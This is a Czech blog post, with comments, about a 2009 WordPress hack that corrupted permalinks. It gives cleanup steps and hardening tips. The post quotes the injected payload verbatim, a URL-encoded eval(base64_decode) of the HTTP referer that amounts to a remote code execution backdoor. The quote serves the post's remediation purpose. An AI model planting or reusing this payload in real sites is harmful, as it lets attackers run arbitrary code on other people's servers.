Nemáte také hacklý WordPress blog?

Dneska mi přestaly zde na blogu fungovat permalinks – např. odkazy na přečtení celého článku. Chvíli jsem hledal v nastavení, jestli jsem se náhodou neuklikl, ale vše se zdálo být v pořádku, tak jsem začal googlit a přišel na to, že WordPress blogy byly hacknuty. K URL je vždy přidán kód:

%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/


A jak z toho ven? Stačí, když zeditujete v MySQL databázi tabulku wp-options a v ní najdete sloupec option-name. Pokud jste například v phpMyAdmin zvolte tlačítko „Projít“. Najděte řádek permalink-structure. Když na něj kliknete, uvidíte, že je zde navíc výše zmíněný kód. Stačí jej umazat a nechat Vaše standardní formátování URL u článků. U mě to je např.

/%year%/%monthnum%/%day%/%postname%/

Můj WordPress je verze 2.7.1. Zkontrolujte si svoje WordPress weby, jestli jste také nebyli hacknuti, u mě to naštěstí zatím postihlo jen tento web.

EDIT: Vypadá to, že tento hack je způsoben nově zaregistrovanými uživateli, kteří si umí nastavit administrátorská práva a poté změnit permalink-structure. Jdetě proto do správy uživatelů a najděte toho, který má práva admin a byl zaregistrován jako poslední. U tohoto uživatele klikněte pravým tlačítkem a zkopírujte edit odkaz a ten otevřete v novém okně/panelu prohlížeče a zvyšte id v URL o 1. Uvidíte zvláštní kód – ten smažte a nastavte uživatele jako návštěvníka. Potom ho ve své administraci celého smažte.

Zdroje: http://bo.uzasne.cz/novinky/wordpress-byl-hacknut-zkontrolujte-sve-blogy.html

http://www.journeyetc.com/2009/09/04/wordpress-permalink-rss-problems/

Martin Šimko

Martin Šimko

Martin pracuje v digitálním marketingu jako SEO konzultant. Rád pije piva z menších pivovarů, hraje squash a zkouší nové gadgety.
Martin Šimko

8 komentářů u „Nemáte také hacklý WordPress blog?

  1. Honza

    Ahoj Marty,
    to ti hackli zaheslovanou databázi? U mě jsou permalinks naštěstí v pohodě. Ale díky za návod. Kdyby se mi to taky přihodilo, nevěděl bych, co s tím mám dělat.

    Hezký víkend přeje
    Honza

  2. Márty Autor příspěvku

    Ahoj,
    ani pořádně nevím, jak to provedli, ale vypadá to, že to je „globálnější“ a postihlo to docela dost blogů co jedou pod WordPressem.

  3. Márty Autor příspěvku

    Marek Stejskal: Moje verze WP je 2.7.1, doplnil jsem to do článku.
    Ondřej Baar: za neuvedení zdroje se omlouvám, čerpal jsem i od tebe. Včera jsem to psal ve spěchu, doplnil jsem další věci a zdroje. Ještě jednou promiň. Přiznávám se k chybě;-)

  4. Scotty

    Když na Twitteru někteří začali naříkat, že mají hacknutý WordPress, zděsil jsem se a šel omrknout své weby. Nic jsem tam neviděl a když jsem se dostal na tento článek, tak jsem se musel hlasitě zasmát! Používat verzi WordPressu 2.7.1 v době, kdy je (a také z bezpečnostních důvodu vydaná) verze 2.8.4 může opravdu vůl (promiňte za to slovo, ale jinak to říci opravdu nejde). Nehledě na to, že na pidi blozích je možnost registrace dalších uživatelů naprostou blbostí!!!

  5. Márty Autor příspěvku

    Scotty: K upgradu jsem se ještě nedostal, ale tento hack se týká i novějších verzí WP.

  6. Carl114

    Stačí trochu přemýšlet. Vždy aktualizujte na nejnovější verzi WP a mějte dlouhé heslo. Například moje heslo má přes 9 znaků a nemá nic společného s jménem, přítelkyní, bydlištěm – prostě nic. Dále doporučuji nepovolovat registraci nových uživatelů. Většinou jsou to roboti a tak je to zbytečné. Stačí jeden účet – ten Váš. Taky bych doporučil plugin Login LockDown, který chrání Vaše přihlášení. Já sám ho používám a člověk má na zadání hesla jen dva pokusy. Navíc pokud zadá špatné uživatelské jméno je zabanován hned. To je moje nastavení. Navíc přihlášení do administrace je povoleno jen na mojí IP adresu a celý web je buďto zaheslovaný, či obsahuje htaccess soubory pro zabezpečení (přesměrování spam robotů, zakázaní přístupu, sledování IP..).

    To je můj blog. Zkuste to taky a budete mít blog v pořádku. Žádný hack, žádné spamy, žádné sledovací roboti (na sběr mailů a pod.)

Napsat komentář

Vaše emailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *

CommentLuv badge